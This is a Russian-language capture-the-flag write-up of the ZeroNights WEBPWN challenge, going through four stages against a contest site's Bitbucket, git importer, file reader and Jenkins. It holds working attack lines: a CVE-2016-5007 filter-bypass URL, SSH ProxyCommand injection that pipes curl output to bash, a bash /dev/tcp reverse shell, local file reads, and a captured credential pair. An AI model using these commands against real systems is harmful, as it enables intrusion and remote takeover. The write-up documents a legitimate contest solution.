
Прохождение ZeroNights WEBPWN
Stage 1
Дана ссылка на сайт http://zeroevening.org/. Сразу же был опубликован хинт: «Page source code might tell you something». Заглянув на исходник страницы замечаем комментарий:

Директорий .git/.svn/.etc найдено не было. Запускам сканирование поддоменов. На выходе получаем список из двух интересных поддоменов:

Остановимся на bitbucket.zeroevening.org. Стандартная страница Bitbucket. Версия 4.7.1. Вспоминаем CVE-2016-5007, который относится к Spring. Ошибка позволяет просматривать конфиденциальную информацию без авторизации. Нужно только обойти фильтр. Детали бага описаны здесь. Решение: http://bitbucket.zeroevening.org/%0Dadmin/server-settings

Stage 2
Переходим по линку git-admintools.zeroevening.org. Перед нами самопальный импортёр git репозиториев.

Судя по всему, по замылу создателей тут должен был отработать CVE-2004-0489, но выполнение кода работало и без этого. Передаем в качестве пути к репозиторию подобные данные ssh://-oProxyCommand=ping <наш хост>/wat и получаем на своем хосте ICMP запросы.
Раз пинги иду, значит доступ к внешке на машине есть. Нужен бэкконнект. Ограничением является наличие слеша в URL. Размещаем на своей тачке нужный пейлоад, направляем все HTTP запросы на файл с пэйлоадом, скачиваем через curl и отправляем в bash.
В качестве бэка используем нативную логику bash: bash -i >& /dev/tcp/<host>/<port> 0>&1
Отправляем запрос ssh://-oProxyCommand=curl <host> | bash /wat и получаем бэк.
Читаем файл config.php и получаем ссылку на следующий таск: http://dev-cyberplatform-ico.zeroevening.org.
Stage 3
Перед нами читалка файлов.
Получаем точки монтирования http://dev-cyberplatform-ico.zeroevening.org/?url=/proc/mounts
/dev/vda1 /code ext4 rw,relatime,data=ordered 0 0
Читаем исходник PHP скрипта: http://dev-cyberplatform-ico.zeroevening.org/?url=/code/index.php
<?php if (!isset($_GET['url'])){ header("Location: /?url=ops.jpg"); } error_reporting(0); $image = $_GET['url']; if (strpos($image, 'php://') !== false) { chdir('/code'); }else{ chdir('/var/www/html'); } /* $ch = curl_init(); $optArray = array( CURLOPT_URL => $image, CURLOPT_RETURNTRANSFER => true ); curl_setopt_array($ch, $optArray); $imageData = base64_encode(curl_exec($ch)); curl_close($ch); */ $imageData = base64_encode(file_get_contents($image, false, stream_context_create(array('http' => array( 'ignore_errors' => true ) ) ))); $src = 'data:;base64,'.$imageData; echo '<img src="',$src,'">'; ?>
Понимаем, что нужно провернуть SSRF. Но куда? Пока сканировал хосты/порты списались с @yarbabin. Он кинул линк на хост 172.18.0.2. Там поднят HTTP-сервер и SQLi. Раскручиваем.
Достаём колонки в таблице jenkins_users.

Креды: “bomberman:HVQ8UijXwU)”
Stage 4
Вспоминаем про домен jenkins.zeroevening.org.
Данные из прошлого задания подошли.
Создаем новую задачу с произвольной конфигурацией, в качестве пэйлоада указываем скачивание и запуск Python скрипта с бэком.

Выполняем задание и получаем бэк.